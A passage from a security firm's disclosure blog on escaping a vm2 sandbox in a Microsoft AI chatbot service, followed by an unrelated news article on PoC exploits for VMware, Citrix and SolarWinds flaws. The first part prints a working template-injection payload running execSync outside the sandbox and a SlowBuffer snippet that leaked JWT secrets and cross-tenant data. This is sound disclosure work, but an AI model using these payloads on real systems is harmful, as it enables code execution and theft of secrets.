variable won’t be found as it’s not part of the sandboxed context. However, when you pass down functions from the root context to the sandbox, the code is already “compiled”. It’s usually pretty dangerous since code inside the sandbox can tamper with the modules and cause unexpected behavior outside the sandbox. Back to the template function, since the underscore module was passed down from outside the sandbox, the code will be compiled in the non-sandboxed context, therefore, we can achieve code execution simply: let foo = underscore.template("<% print(this.process.mainModule.require('child_process').execSync('id')) %>") Microsoft quickly patched this as well, and we move on to the final flaw. ‍ A Distant Memory This time we had to think a little bit “outside the box” since we were running out of interesting features in the whitelisted modules. We looked into the “buffer” module which is a built-in Node.js module. The thing that caught our attention was “Buffer.allocUnsafe”. This function lets you allocate an uninitialized memory buffer. To explain what it means in simple terms, let's compare Buffer.alloc and Buffer.allocUnsafe: Buffer.alloc: will provide a memory buffer that is zeroed out. If we try to read from the allocated buffer, we’ll get a bunch of zeroes. Buffer.allocUnsafe: faster than alloc, will provide a memory buffer that hasn’t been zeroed out. That means that if the memory allocated was previously used for an HTTP request for example, we will be able to see the HTTP request by reading from the newly allocated buffer. This is pretty dangerous since if we can use allocUnsafe inside the sandbox, we might be able to access sensitive info from the memory of the application. The vm2 developers were aware of this and restricted the use of Buffer.allocUnsafe. Since the entire buffer module was whitelisted, we had access to SlowBuffer, which is the same as allocUnsafe. This one was not restricted by the sandbox, since it’s not supposed to be there by default: buffer = require('buffer') p = new buffer.SlowBuffer(10024) p.toString() // returns “dirty” uninitialized memory previously used in other areas of the app Running this code a few times yielded interesting data from the application, for example, a few JWT secrets for internal Azure identities, Kubernetes API calls, cross-tenant data, and more. After that, Microsoft made multiple important security changes: They had changed the service architecture to run a completely separate ACI instance per customer. Making any future sandbox breach irrelevant. They changed the sandboxing from vm2 to the isolated-vm library, which uses V8 isolates, a much better and more secure solution. ‍ Final Words This marks the first publication from Breachproof. We aim to publish a lot of more quality research that has real impact. Much more is coming. If you're a company dealing with sensitive data and need help securing it - feel free to contact us. Authored by Yanir Tsarimi Bounty 203,000 $ Source: https://www.breachproof.net/blog/lethal-injection-how-we-hacked-microsoft-ai-chat-bot ‍

Virtualization services provider VMware has alerted customers to the existence of a proof-of-concept (PoC) exploit for a recently patched security flaw in Aria Operations for Logs. Tracked as CVE-2023-34051 (CVSS score: 8.1), the high-severity vulnerability relates to a case of authentication bypass that could lead to remote code execution. "An unauthenticated, malicious actor can inject files into the operating system of an impacted appliance which can result in remote code execution," VMware noted in an advisory on October 19, 2023. James Horseman from Horizon3.ai and the Randori Attack Team have been credited with discovering and reporting the flaw. Horizon3.ai has since made available a PoC for the vulnerability, prompting VMware to revise its advisory this week. It's worth noting that CVE-2023-34051 is a patch bypass for a set of critical flaws that were addressed by VMware earlier this January that could expose users to remote code execution attacks. "This patch bypass would not be very difficult for an attacker to find," Horseman said. "This attack highlights the importance of defense in depth. A defender can't always trust that an official patch fully mitigates a vulnerability." The disclosure comes as Citrix released an advisory of its own, urging customers to apply fixes for CVE-2023-4966 (CVSS score: 9.4), a critical security vulnerability affecting NetScaler ADC and NetScaler Gateway that has come under active exploitation in the wild. "We now have reports of incidents consistent with session hijacking, and have received credible reports of targeted attacks exploiting this vulnerability," the company said this week, corroborating a report from Google-owned Mandiant. The exploitation efforts are also likely to ramp up in the coming days given the availability of a PoC exploit, dubbed Citrix Bleed. "Here we saw an interesting example of a vulnerability caused by not fully understanding snprintf," Assetnote researcher Dylan Pindur said. "Even though snprintf is recommended as the secure version of sprintf it is still important to be careful. A buffer overflow was avoided by using snprintf but the subsequent buffer over-read was still an issue." The active exploitation of CVE-2023-4966 has prompted the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to add it to the Known Exploited Vulnerabilities (KEV) catalog, requiring federal agencies in the U.S. to apply the latest patches by November 8, 2023. The latest developments also follow the release of updates for three critical remote code execution vulnerabilities in SolarWinds Access Rights Manager (CVE-2023-35182, CVE-2023-35185, and CVE-2023-35187, CVSS scores: 9.8) that remote attackers could use to run code with SYSTEM privileges. Source: https://thehackernews.com/2023/10/alert-poc-exploits-released-for-citrix.html